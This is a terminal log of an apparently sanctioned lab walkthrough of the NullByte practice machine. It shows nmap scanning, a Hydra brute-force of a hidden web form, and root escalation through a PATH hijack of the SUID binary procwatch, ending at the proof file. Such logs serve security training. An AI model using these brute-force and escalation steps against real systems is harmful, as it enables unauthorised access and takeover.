┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.108 Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-27 02:59 EDT Nmap scan report for 192.168.56.108 Host is up (0.00022s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 777/tcp open multiling-http 38157/tcp open unknown MAC Address: 08:00:27:1C:0D:6F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p80,111,777,38157 192.168.56.108 Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-27 03:01 EDT Nmap scan report for 192.168.56.108 Host is up (0.00038s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-title: Null Byte 00 - level 1 |_http-server-header: Apache/2.4.10 (Debian) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 38157/tcp status | 100024 1 40076/udp status | 100024 1 53418/tcp6 status |_ 100024 1 53583/udp6 status 777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA) | 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA) | 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA) |_ 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519) 38157/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:1C:0D:6F (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.57 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap --script=vuln -p80,111,777,38157 192.168.56.108 Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-27 03:03 EDT Nmap scan report for 192.168.56.108 Host is up (0.00026s latency).
PORT STATE SERVICE 80/tcp open http | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server\'s resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 | http-enum: | /phpmyadmin/: phpMyAdmin |_ /uploads/: Potentially interesting folder |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-dombased-xss: Couldn\'t find any DOM based XSS. 111/tcp open rpcbind 777/tcp open multiling-http 38157/tcp open unknown MAC Address: 08:00:27:1C:0D:6F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 321.11 seconds
┌──(kali㉿kali)-[~/Downloads/Nullbyte] └─$ hydra -l root -P /usr/share/wordlists/rockyou.txt -s 80 192.168.56.108 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-28 04:01:11 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-post-form://192.168.56.108:80/kzMb5nVYJw/index.php:key=^PASS^:invalid key [STATUS] 4504.00 tries/min, 4504 tries in 00:01h, 14339895 to doin 53:04h, 16 active [STATUS] 4088.00 tries/min, 12264 tries in 00:03h, 14332135 to doin 58:26h, 16 active [80][http-post-form] host: 192.168.56.108 login: root password: elite 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-28 04:07:27
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 2 01:38:58 2015 from 192.168.1.109 ramses@NullByte:~$ whoami ramses ramses@NullByte:~$ id uid=1002(ramses) gid=1002(ramses) groups=1002(ramses) ramses@NullByte:~$ uname -a Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux ramses@NullByte:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000 link/ether 08:00:27:1c:0d:6f brd ff:ff:ff:ff:ff:ff inet 192.168.56.108/24 brd 192.168.56.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fe1c:d6f/64 scope link valid_lft forever preferred_lft forever ramses@NullByte:~$ sudo -l [sudo] password for ramses: Sorry, user ramses may not run sudo on NullByte.
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps ramses@NullByte:/var/www/backup$ export PATH=.:$PATH ramses@NullByte:/var/www/backup$ ./procwatch # whoami root # id uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses) # cd /root # ls proof.txt # cat pro cat: pro: No such file or directory # cat proof.txt adf11c7a9e6523e630aaf3b9b7acb51d
It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mail at xly0n@sigaint.org attach the walk and proof.txt If sigaint.org is down you may mail at nbsly0n@gmail.com
USE THIS PGP PUBLIC KEY
-----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0
